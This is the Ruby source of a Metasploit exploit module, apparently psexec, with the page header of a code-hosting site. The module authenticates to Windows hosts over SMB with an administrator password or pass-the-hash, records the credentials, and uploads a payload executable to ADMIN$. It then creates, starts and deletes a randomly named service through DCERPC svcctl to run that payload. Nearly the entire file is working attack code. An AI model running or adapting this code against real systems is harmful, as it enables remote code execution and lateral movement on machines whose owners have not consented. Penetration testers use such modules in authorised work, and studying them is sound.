305 lines
7.4 KiB
Ruby
305 lines
7.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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=begin
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Windows XP systems that are not part of a domain default to treating all
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network logons as if they were Guest. This prevents SMB relay attacks from
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gaining administrative access to these systems. This setting can be found
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under:
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Local Security Settings >
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Local Policies >
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Security Options >
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Network Access: Sharing and security model for local accounts
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=end
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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include Msf::Exploit::Remote::SMB::Authenticated
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Windows Authenticated User Code Execution',
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'Description' => %q{
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This module uses a valid administrator username and password (or
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password hash) to execute an arbitrary payload. This module is similar
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to the "psexec" utility provided by SysInternals. Unfortunately, this
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module is not able to clean up after itself. The service and payload
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file listed in the output will need to be manually removed after access
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has been gained. The service created by this tool uses a randomly chosen
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name and description, so the services list can become cluttered after
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repeated exploitation.
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},
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'Author' =>
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[
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'hdm',
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process'
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},
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'References' =>
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[
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[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
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[ 'OSVDB', '3106'],
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[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ]
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],
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'Payload' =>
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{
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'Space' => 2048,
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'DisableNops' => true,
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'WfsDelay' => 10,
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'StackAdjustment' => -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 01 1999'
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))
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register_advanced_options(
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[
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OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true])
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], self.class)
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end
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def exploit
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print_status("Connecting to the server...")
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connect()
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print_status("Authenticating as user '#{datastore['SMBUser']}'...")
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smb_login()
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if (not simple.client.auth_user)
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print_line(" ")
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print_error(
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"FAILED! The remote host has only provided us with Guest privileges. " +
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"Please make sure that the correct username and password have been provided. " +
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"Windows XP systems that are not part of a domain will only provide Guest privileges " +
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"to network logins by default."
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)
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print_line(" ")
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disconnect
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return
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end
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if datastore['DB_REPORT_AUTH']
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report_hash = {
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:host => datastore['RHOST'],
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:port => datastore['RPORT'],
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:sname => 'smb',
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:user => datastore['SMBUser'],
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:pass => datastore['SMBPass'],
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:active => true
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}
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if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
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report_hash.merge!({:type => 'smb_hash'})
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else
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report_hash.merge!({:type => 'password'})
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end
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report_auth_info(report_hash)
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end
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filename = rand_text_alpha(8) + ".exe"
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servicename = rand_text_alpha(8)
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# Upload the shellcode to a file
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print_status("Uploading payload...")
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simple.connect("ADMIN$")
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fd = simple.open("\\#{filename}", 'rwct')
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exe = ''
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if (datastore['PAYLOAD'].include? 'x64')
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exe = Msf::Util::EXE.to_win64pe_service(framework, payload.encoded,
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{
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:servicename => servicename
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})
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else
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exe = Msf::Util::EXE.to_win32pe_service(framework, payload.encoded,
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{
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:servicename => servicename
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})
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end
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fd << exe
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fd.close
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print_status("Created \\#{filename}...")
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# Disconnect from the ADMIN$
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simple.disconnect("ADMIN$")
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# Connect to the IPC service
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simple.connect("IPC$")
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# Bind to the service
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handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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##
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# OpenSCManagerW()
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##
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print_status("Obtaining a service manager handle...")
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scm_handle = nil
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stubdata =
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NDR.uwstring("\\\\#{rhost}") +
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NDR.long(0) +
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NDR.long(0xF003F)
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begin
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response = dcerpc.call(0x0f, stubdata)
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if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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scm_handle = dcerpc.last_response.stub_data[0,20]
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end
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rescue ::Exception => e
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print_error("Error: #{e}")
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return
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end
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##
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# CreateServiceW()
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##
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displayname = 'M' + rand_text_alpha(rand(32)+1)
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svc_handle = nil
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svc_status = nil
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print_status("Creating a new service (#{servicename} - \"#{displayname}\")...")
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stubdata =
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scm_handle +
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NDR.wstring(servicename) +
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NDR.uwstring(displayname) +
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NDR.long(0x0F01FF) + # Access: MAX
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NDR.long(0x00000110) + # Type: Interactive, Own process
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NDR.long(0x00000003) + # Start: Demand
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NDR.long(0x00000000) + # Errors: Ignore
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NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
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NDR.long(0) + # LoadOrderGroup
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NDR.long(0) + # Dependencies
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NDR.long(0) + # Service Start
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NDR.long(0) + # Password
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NDR.long(0) + # Password
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NDR.long(0) + # Password
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NDR.long(0) # Password
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begin
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response = dcerpc.call(0x0c, stubdata)
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if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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svc_handle = dcerpc.last_response.stub_data[0,20]
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svc_status = dcerpc.last_response.stub_data[24,4]
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end
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rescue ::Exception => e
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print_error("Error: #{e}")
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return
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end
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##
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# CloseHandle()
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##
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print_status("Closing service handle...")
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begin
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response = dcerpc.call(0x0, svc_handle)
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rescue ::Exception
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end
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##
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# OpenServiceW
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##
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print_status("Opening service...")
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begin
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stubdata =
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scm_handle +
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NDR.wstring(servicename) +
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NDR.long(0xF01FF)
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response = dcerpc.call(0x10, stubdata)
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if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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svc_handle = dcerpc.last_response.stub_data[0,20]
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end
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rescue ::Exception => e
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print_error("Error: #{e}")
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return
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end
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##
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# StartService()
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##
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print_status("Starting the service...")
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stubdata =
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svc_handle +
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NDR.long(0) +
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NDR.long(0)
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begin
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response = dcerpc.call(0x13, stubdata)
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if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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end
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rescue ::Exception => e
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print_error("Error: #{e}")
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return
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end
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##
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# DeleteService()
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##
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print_status("Removing the service...")
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stubdata =
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svc_handle
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begin
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response = dcerpc.call(0x02, stubdata)
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if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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end
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rescue ::Exception => e
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print_error("Error: #{e}")
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end
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##
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# CloseHandle()
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##
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print_status("Closing service handle...")
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begin
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response = dcerpc.call(0x0, svc_handle)
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rescue ::Exception => e
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print_error("Error: #{e}")
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end
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begin
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print_status("Deleting \\#{filename}...")
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select(nil, nil, nil, 1.0)
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simple.connect("ADMIN$")
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simple.delete("\\#{filename}")
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rescue ::Interrupt
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raise $!
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rescue ::Exception
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end
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handler
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disconnect
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end
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end
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